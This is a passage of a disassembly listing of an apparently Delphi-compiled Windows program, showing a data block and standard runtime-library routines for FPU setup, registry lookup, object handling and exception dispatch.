0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_40003A61 db 96h ; DATA XREF: sub_40003878+38r ; sub_40003878+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_40003AF7 dt 9.9999999999999999996e479 ; DATA XREF: sub_40003878+49r ; sub_40003878+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40003B5C proc near ; CODE XREF: sub_40003B64+5p ; sub_40003B64+11p jmp ds:dword_400243FC sub_40003B5C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003B64 proc near ; CODE XREF: .itext:4001903Ep push ebx xor ebx, ebx push 0 call sub_40003B5C ; GetKeyboardType cmp eax, 7 jnz short loc_40003B8F push 1 call sub_40003B5C ; GetKeyboardType and eax, 0FF00h cmp eax, 0D00h jz short loc_40003B8D cmp eax, 400h jnz short loc_40003B8F loc_40003B8D: ; CODE XREF: sub_40003B64+20j mov bl, 1 loc_40003B8F: ; CODE XREF: sub_40003B64+Dj ; sub_40003B64+27j mov eax, ebx pop ebx retn sub_40003B64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40003B94 proc near ; CODE XREF: .itext:40019047p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, word_4001A024 mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push 1 push 0 push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h call sub_40001240 ; RegOpenKeyExA test eax, eax jnz short loc_40003C0C xor eax, eax push ebp push offset loc_40003C05 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_C], 4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push 0 push 0 push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp+var_4] push eax call sub_40001248 ; RegQueryValueExA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40003C0C loc_40003BFB: ; CODE XREF: sub_40003B94+76j mov eax, [ebp+var_4] push eax call sub_40001238 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_40003C05: ; DATA XREF: sub_40003B94+2Eo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40003BFB ; --------------------------------------------------------------------------- loc_40003C0C: ; CODE XREF: sub_40003B94+29j ; DATA XREF: sub_40003B94+62o movzx eax, word_4001A024 and ax, 0FFC0h movzx edx, word ptr [ebp+var_8] and dx, 3Fh or ax, dx mov word_4001A024, ax mov esp, ebp pop ebp retn sub_40003B94 endp ; --------------------------------------------------------------------------- aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_40003B94+18o aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_40003B94+4Co align 4 ; =============== S U B R O U T I N E ======================================= sub_40003C58 proc near ; CODE XREF: sub_400040D8+20p ; .text:4000445Ep ... fninit wait fldcw word_4001A024 retn sub_40003C58 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40003C64 proc near ; CODE XREF: sub_4000ED90+E2p ; sub_4000ED90+103p ... mov al, 4 jmp sub_40002D50 sub_40003C64 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40003C6C proc near ; CODE XREF: sub_40002540+28Fp ; sub_4000ADE0+FFp ... push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_40003C6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003C80 proc near ; CODE XREF: sub_40006264p ; DATA XREF: .text:4000105Co ... push ebx mov ebx, eax mov eax, ebx call sub_40003CB0 call sub_40002C20 mov edx, eax mov eax, ebx call sub_40003CF4 pop ebx retn sub_40003C80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003C9C proc near ; CODE XREF: sub_4000B204+6p ; DATA XREF: .text:40001060o ... push ebx mov ebx, eax mov eax, ebx call sub_40003D4C mov eax, ebx call sub_40002C3C pop ebx retn sub_40003C9C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003CB0 proc near ; CODE XREF: sub_40003C80+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_40003CB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003CB8 proc near ; CODE XREF: sub_4000C69C+16p ; sub_4000C69C+50p ... test dl, dl jz short loc_40003CC4 add esp, 0FFFFFFF0h call sub_40003F30 loc_40003CC4: ; CODE XREF: sub_40003CB8+2j test dl, dl jz short locret_40003CD7 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch locret_40003CD7: ; CODE XREF: sub_40003CB8+Ej retn sub_40003CB8 endp ; =============== S U B R O U T I N E ======================================= sub_40003CD8 proc near ; CODE XREF: sub_4000C55C+3Dp ; sub_4000C710+19p ... call sub_40003FD8 test dl, dl jle short locret_40003CE6 call sub_40003F80 locret_40003CE6: ; CODE XREF: sub_40003CD8+7j retn sub_40003CD8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003CE8 proc near ; CODE XREF: sub_400040D8+11Fj ; .text:4000429Fj ... test eax, eax jz short locret_40003CF3 mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_40003CF3: ; CODE XREF: sub_40003CE8+2j retn sub_40003CE8 endp ; =============== S U B R O U T I N E ======================================= sub_40003CF4 proc near ; CODE XREF: sub_40003C80+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_40003D12: ; CODE XREF: sub_40003CF4+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_40003D1A push ecx loc_40003D1A: ; CODE XREF: sub_40003CF4+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_40003D25 mov ebx, [ebx] jmp short loc_40003D12 ; --------------------------------------------------------------------------- loc_40003D25: ; CODE XREF: sub_40003CF4+2Bj cmp esp, edx jz short loc_40003D46 loc_40003D29: ; CODE XREF: sub_40003CF4+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_40003D2F: ; CODE XREF: sub_40003CF4+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_40003D3C mov edi, [ebx+14h] mov [edi+eax], esi loc_40003D3C: ; CODE XREF: sub_40003CF4+40j add ebx, 1Ch dec ecx jnz short loc_40003D2F cmp esp, edx jnz short loc_40003D29 loc_40003D46: ; CODE XREF: sub_40003CF4+33j pop edi pop esi pop ebx retn sub_40003CF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003D4C proc near ; CODE XREF: sub_40003C9C+5p push ebx push esi mov ebx, eax mov esi, eax loc_40003D52: ; CODE XREF: sub_40003D4C+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_40003D65 call sub_400052C8 mov eax, ebx loc_40003D65: ; CODE XREF: sub_40003D4C+10j test esi, esi jnz short loc_40003D52 pop esi pop ebx retn sub_40003D4C endp ; =============== S U B R O U T I N E ======================================= sub_40003D6C proc near ; CODE XREF: sub_40003D9C+59p xchg edx, ecx cmp ecx, 0FF000000h jnb short loc_40003D87 cmp ecx, 0FE000000h jb short loc_40003D85 movsx ecx, cx add ecx, [eax] jmp dword ptr [ecx] ; --------------------------------------------------------------------------- loc_40003D85: ; CODE XREF: sub_40003D6C+10j jmp ecx ; --------------------------------------------------------------------------- loc_40003D87: ; CODE XREF: sub_40003D6C+8j and ecx, 0FFFFFFh add ecx, eax mov eax, edx mov edx, [ecx] jmp sub_4000621C sub_40003D6C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40003D9C proc near ; CODE XREF: .text:40006283p ; sub_400123C8+A0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_8], ebx mov esi, ecx mov [ebp+var_4], edx mov edi, eax xor eax, eax push ebp push offset loc_40003E20 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax mov [esi], eax mov edx, [ebp+var_4] mov eax, [edi] call sub_40003E30 mov ebx, eax test ebx, ebx jz short loc_40003E04 mov eax, [ebx+14h] test eax, eax jz short loc_40003DED add edi, eax mov [esi], edi cmp dword ptr [esi], 0 jz short loc_40003E04 mov eax, [esi] push eax mov eax, [eax] call dword ptr [eax+4] jmp short loc_40003E04 ; --------------------------------------------------------------------------- loc_40003DED: ; CODE XREF: sub_40003D9C+3Cj lea ecx, [ebp+var_8] mov edx, [ebx+18h] mov eax, edi call sub_40003D6C mov edx, [ebp+var_8] mov eax, esi call sub_4000621C loc_40003E04: ; CODE XREF: sub_40003D9C+35j ; sub_40003D9C+45j ... cmp dword ptr [esi], 0 setnz bl xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40003E27 loc_40003E17: ; CODE XREF: sub_40003D9C+89j lea eax, [ebp+var_8] call sub_40006204 retn ; --------------------------------------------------------------------------- loc_40003E20: ; DATA XREF: sub_40003D9C+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40003E17 ; --------------------------------------------------------------------------- loc_40003E27: ; CODE XREF: sub_40003D9C+83j ; DATA XREF: sub_40003D9C+76o mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_40003D9C endp ; =============== S U B R O U T I N E ======================================= sub_40003E30 proc near ; CODE XREF: sub_40003D9C+2Cp push ebx push esi mov ebx, eax loc_40003E34: ; CODE XREF: sub_40003E30+3Dj mov eax, [ebx-48h] test eax, eax jz short loc_40003E64 mov ecx, [eax] add eax, 4 loc_40003E40: ; CODE XREF: sub_40003E30+32j mov esi, [edx] cmp esi, [eax] jnz short loc_40003E5E mov esi, [edx+4] cmp esi, [eax+4] jnz short loc_40003E5E mov esi, [edx+8] cmp esi, [eax+8] jnz short loc_40003E5E mov esi, [edx+0Ch] cmp esi, [eax+0Ch] jz short loc_40003E71 loc_40003E5E: ; CODE XREF: sub_40003E30+14j ; sub_40003E30+1Cj ... add eax, 1Ch dec ecx jnz short loc_40003E40 loc_40003E64: ; CODE XREF: sub_40003E30+9j mov ebx, [ebx-24h] test ebx, ebx jz short loc_40003E6F mov ebx, [ebx] jmp short loc_40003E34 ; --------------------------------------------------------------------------- loc_40003E6F: ; CODE XREF: sub_40003E30+39j xor eax, eax loc_40003E71: ; CODE XREF: sub_40003E30+2Cj pop esi pop ebx retn sub_40003E30 endp ; =============== S U B R O U T I N E ======================================= sub_40003E74 proc near ; CODE XREF: sub_4000ADE0+A8p ; sub_4000B654+94p ... push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_40003E8B mov edx, esi mov eax, [ebx] call sub_40003EE0 test al, al jnz short loc_40003E90 loc_40003E8B: ; CODE XREF: sub_40003E74+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40003E90: ; CODE XREF: sub_40003E74+15j mov al, 1 pop esi pop ebx retn sub_40003E74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003E98 proc near ; CODE XREF: sub_40003EC8+4p ; sub_40003F08+13p push edi xchg eax, esi jmp short loc_40003E9E ; --------------------------------------------------------------------------- loc_40003E9C: ; CODE XREF: sub_40003E98+1Fj mov esi, [esi] loc_40003E9E: ; CODE XREF: sub_40003E98+2j mov edi, [esi-30h] test edi, edi jz short loc_40003EB2 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_40003EBB pop ecx loc_40003EB2: ; CODE XREF: sub_40003E98+Bj mov esi, [esi-24h] test esi, esi jnz short loc_40003E9C pop edi retn ; --------------------------------------------------------------------------- loc_40003EBB: ; CODE XREF: sub_40003E98+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_40003E98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003EC8 proc near ; CODE XREF: sub_40013C30+43p ; sub_40013C30+52p ... push eax push ecx mov eax, [eax] call sub_40003E98 pop ecx pop eax jz short loc_40003ED7 jmp esi ; --------------------------------------------------------------------------- loc_40003ED7: ; CODE XREF: sub_40003EC8+Bj pop ecx jmp sub_400030B4 sub_40003EC8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003EE0 proc near ; CODE XREF: sub_40003E74+Ep jmp short loc_40003EE4 ; --------------------------------------------------------------------------- loc_40003EE2: ; CODE XREF: sub_40003EE0+Dj mov eax, [eax] loc_40003EE4: ; CODE XREF: sub_40003EE0j cmp eax, edx jz short loc_40003EF0 mov eax, [eax-24h] test eax, eax jnz short loc_40003EE2 retn ; --------------------------------------------------------------------------- loc_40003EF0: ; CODE XREF: sub_40003EE0+6j mov al, 1 retn sub_40003EE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003EF4 proc near ; DATA XREF: .text:40001048o ; .text:4000110Co ... mov eax, 8000FFFFh retn sub_40003EF4 endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_40003F08 proc near ; DATA XREF: .text:40001054o ; .text:40001118o ... push esi mov si, [edx] or si, si jz short loc_40003F28 cmp si, 0C000h jnb short loc_40003F28 push eax mov eax, [eax] call sub_40003E98 pop eax jz short loc_40003F28 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_40003F28: ; CODE XREF: sub_40003F08+7j ; sub_40003F08+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_40003F08 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003F30 proc near ; CODE XREF: sub_40003CB8+7p ; sub_4000B030+Ap ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_40003F3A call dword ptr [eax-0Ch] loc_40003F3A: ; CODE XREF: sub_40003F30+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_40003F59 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_40003F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40003F59 proc near ; DATA XREF: sub_40003F30+18o jmp sub_400040D8 sub_40003F59 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_40003F77 mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_40003F80 loc_40003F77: ; CODE XREF: .text:40003F67j call sub_4000430C retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40003F80 proc near ; CODE XREF: sub_40003CD8+9p ; .text:40003F72p ... mov edx, [eax] call dword ptr [edx-8] retn sub_40003F80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40003F88 proc near ; CODE XREF: sub_40003CB8+10p ; sub_4000B030+25p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_40003FB7 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx-1Ch] mov eax, [ebp+var_4] pop large dword ptr fs:0 add esp, 8 jmp short loc_40003FD0 ; --------------------------------------------------------------------------- loc_40003FB7: ; DATA XREF: sub_40003F88+Do jmp sub_400040D8 ; --------------------------------------------------------------------------- mov dl, 1 mov eax, [ebp+var_4] call sub_40003FD8 call sub_4000430C call sub_40004360 loc_40003FD0: ; CODE XREF: sub_40003F88+2Dj pop edi pop esi pop ebx pop ecx pop ebp retn sub_40003F88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003FD8 proc near ; CODE XREF: sub_40003CD8p ; sub_40003F88+39p ... test dl, dl jg short loc_40003FDD retn ; --------------------------------------------------------------------------- loc_40003FDD: ; CODE XREF: sub_40003FD8+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_40003FD8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40003FE8 proc near ; CODE XREF: sub_4000430C+35p cmp byte_4001A028, 1 jbe short locret_40004002 push 0 push 0 push 0 push 0EEDFADFh call ds:off_4001C014 locret_40004002: ; CODE XREF: sub_40003FE8+7j retn sub_40003FE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004004 proc near ; CODE XREF: sub_400040D8+4Dp cmp byte_4001A028, 0 jz short locret_40004024 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:off_4001C014 add esp, 8 pop eax locret_40004024: ; CODE XREF: sub_40004004+7j retn sub_40004004 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_40004040 loc_40004028: ; CODE XREF: sub_40004040+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:off_4001C014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_40004040 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40004040 proc near ; CODE XREF: sub_400040D8+FDp ; FUNCTION CHUNK AT 40004028 SIZE 00000015 BYTES cmp byte_4001A028, 1 jbe short locret_40004050 push eax push ebx jmp loc_40004028 ; --------------------------------------------------------------------------- locret_40004050: ; CODE XREF: sub_40004040+7j retn sub_40004040 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004054 proc near ; CODE XREF: sub_40004074+Cp test ecx, ecx jz short locret_40004071 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_4000406C cmp byte ptr [ecx], 0EBh jnz short locret_40004071 movsx eax, al inc ecx inc ecx jmp short loc_4000406F ; --------------------------------------------------------------------------- loc_4000406C: ; CODE XREF: sub_40004054+Aj add ecx, 5 loc_4000406F: ; CODE XREF: sub_40004054+16j add ecx, eax locret_40004071: ; CODE XREF: sub_40004054+2j ; sub_40004054+Fj retn sub_40004054 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004074 proc near ; CODE XREF: sub_40016280-12027p ; sub_400042AC+25p cmp byte_4001A028, 1 jbe short locret_4000409A push eax push edx push ecx call sub_40004054 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:off_4001C014 pop ecx pop ecx pop edx pop eax locret_4000409A: ; CODE XREF: sub_40004074+7j retn sub_40004074 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000409C proc near ; CODE XREF: sub_40004360+28p cmp byte_4001A028, 1 jbe short locret_400040B7 push edx push esp push 1 push 0 push 0EEDFAE2h call ds:off_4001C014 pop edx locret_400040B7: ; CODE XREF: sub_4000409C+7j retn sub_4000409C endp ; =============== S U B R O U T I N E ======================================= sub_400040B8 proc near ; CODE XREF: .text:loc_400044A5p push eax push edx cmp byte_4001A028, 1 jbe short loc_400040D3 push esp push 2 push 0 push 0EEDFAE3h call ds:off_4001C014 loc_400040D3: ; CODE XREF: sub_400040B8+9j pop edx pop eax retn sub_400040B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400040D8 proc near ; CODE XREF: sub_40003F59j ; sub_40003F88:loc_40003FB7j ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h mov eax, [esp+arg_0] test dword ptr [eax+4], 6 jnz loc_400041FC cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_40004165 cld call sub_40003C58 mov edx, ds:off_4001C010 test edx, edx jz loc_400041FC call edx ; sub_4000B654 test eax, eax jz loc_400041FC mov edx, [esp+arg_8] mov ecx, [esp+arg_0] cmp dword ptr [ecx], 0EEFFACEh jz short loc_4000415C call sub_40004004 cmp byte_4001A02C, 0 jbe short loc_4000415C cmp byte_4001A028, 0 ja short loc_4000415C lea ecx, [esp+arg_0] push eax push ecx call sub_40001190 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_400041FC mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] jmp short loc_4000418C ; --------------------------------------------------------------------------- loc_4000415C: ; CODE XREF: sub_400040D8+4Bj ; sub_400040D8+59j ... mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] loc_40004165: ; CODE XREF: sub_400040D8+1Dj cmp byte_4001A02C, 1 jbe short loc_4000418C cmp byte_4001A028, 0 ja short loc_4000418C push eax lea eax, [esp+4+arg_0] push edx push ecx push eax call sub_40001190 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_400041FC loc_4000418C: ; CODE XREF: sub_400040D8+82j ; sub_400040D8+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_4] push 0 push eax push offset loc_400041B0 push edx call ds:off_4001C018 loc_400041B0: ; DATA XREF: sub_400040D8+CCo mov edi, [esp+arg_24] call sub_40006428 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_400041DC add ebx, 5 call sub_40004040 jmp ebx ; --------------------------------------------------------------------------- loc_400041DC: ; DATA XREF: sub_400040D8+F3o jmp sub_400042AC ; --------------------------------------------------------------------------- call sub_40006428 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_40003CE8 ; --------------------------------------------------------------------------- loc_400041FC: ; CODE XREF: sub_400040D8+Bj ; sub_400040D8+2Dj ... mov eax, 1 retn sub_400040D8 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_40016280 loc_40004204: ; CODE XREF: sub_40003B94:loc_40003C05j ; sub_40003D9C:loc_40003E20j ... mov eax, [esp-4+arg_0] test dword ptr [eax+4], 6 jz loc_400042A4 push ebx xor ebx, ebx push esi push edi push ebp push ebp push offset sub_40004284 push dword ptr fs:[ebx] mov fs:[ebx], esp mov ebx, fs:[ebx] mov edx, [eax+18h] mov ecx, [eax+14h] push ebx push eax push edx push ecx mov edi, [esp+28h+arg_4] call sub_40006428 push dword ptr [eax+0] mov [eax+0], esp mov ecx, [edi+4] mov ebp, [edi+8] mov dword ptr [edi+4], offset sub_40004284 add ecx, 5 call sub_40004074 call ecx call sub_40006428 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx add esp, 14h xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx pop ebp pop edi pop esi pop ebx jmp short loc_400042A4 ; END OF FUNCTION CHUNK FOR sub_40016280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40004284 proc near ; DATA XREF: sub_40016280-12064o ; sub_40016280-12031o jmp sub_400042AC sub_40004284 endp ; --------------------------------------------------------------------------- call sub_40006428 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_40003CE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40016280 loc_400042A4: ; CODE XREF: sub_40016280-12071j ; sub_40016280-11FFEj mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_40016280 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400042AC proc near ; CODE XREF: sub_400040D8:loc_400041DCj ; sub_40004284j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov edx, [esp+arg_4] test dword ptr [eax+4], 6 jz short loc_400042DC mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_400042DC push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_40004074 call ecx pop ebp pop edi pop esi pop ebx loc_400042DC: ; CODE XREF: sub_400042AC+Fj ; DATA XREF: sub_400042AC+14o mov eax, 1 retn sub_400042AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400042E4 proc near ; CODE XREF: sub_40007998+19p ; sub_4000B2B0+49j ... or eax, eax jnz short loc_400042F2 mov eax, 0D8h call sub_40004878 ; --------------------------------------------------------------------------- loc_400042F2: ; CODE XREF: sub_400042E4+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:off_4001C014 sub_400042E4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4000430C proc near ; CODE XREF: .text:loc_40003F77p ; sub_40003F88+3Ep ... arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_40004357 call sub_40006428 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_40004346 mov eax, [edx+8] call sub_40003CE8 call sub_40003FE8 loc_40004346: ; CODE XREF: sub_4000430C+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_40004357: ; DATA XREF: sub_4000430C+4o mov eax, 1 retn sub_4000430C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40004360 proc near ; CODE XREF: sub_40003F88+43p ; sub_40004518+58p ... arg_2C = dword ptr 30h call sub_40006428 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_40003CE8 pop edx mov esp, [esp-4+arg_2C] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_4000409C jmp edx sub_40004360 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40004390: ; CODE XREF: .text:40004490j ; .text:4000449Cj push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_400043CB jz short loc_400043FD cmp eax, 0C000008Eh jg short loc_400043BD jz short loc_40004401 sub eax, 0C0000005h jz short loc_4000440D sub eax, 87h jz short loc_400043F5 dec eax jz short loc_40004409 jmp short loc_4000441D ; --------------------------------------------------------------------------- loc_400043BD: ; CODE XREF: .text:400043A6j add eax, 3FFFFF71h sub eax, 2 jb short loc_400043FD jz short loc_400043F9 jmp short loc_4000441D ; --------------------------------------------------------------------------- loc_400043CB: ; CODE XREF: .text:4000439Dj cmp eax, 0C0000096h jg short loc_400043E3 jz short loc_40004411 sub eax, 0C0000093h jz short loc_40004409 dec eax jz short loc_400043F1 dec eax jz short loc_40004405 jmp short loc_4000441D ; --------------------------------------------------------------------------- loc_400043E3: ; CODE XREF: .text:400043D0j sub eax, 0C00000FDh jz short loc_40004419 sub eax, 3Dh jz short loc_40004415 jmp short loc_4000441D ; --------------------------------------------------------------------------- loc_400043F1: ; CODE XREF: .text:400043DCj mov al, 0C8h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_400043F5: ; CODE XREF: .text:400043B6j mov al, 0C9h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_400043F9: ; CODE XREF: .text:400043C7j mov al, 0CDh jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_400043FD: ; CODE XREF: .text:4000439Fj ; .text:400043C5j mov al, 0CFh jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004401: ; CODE 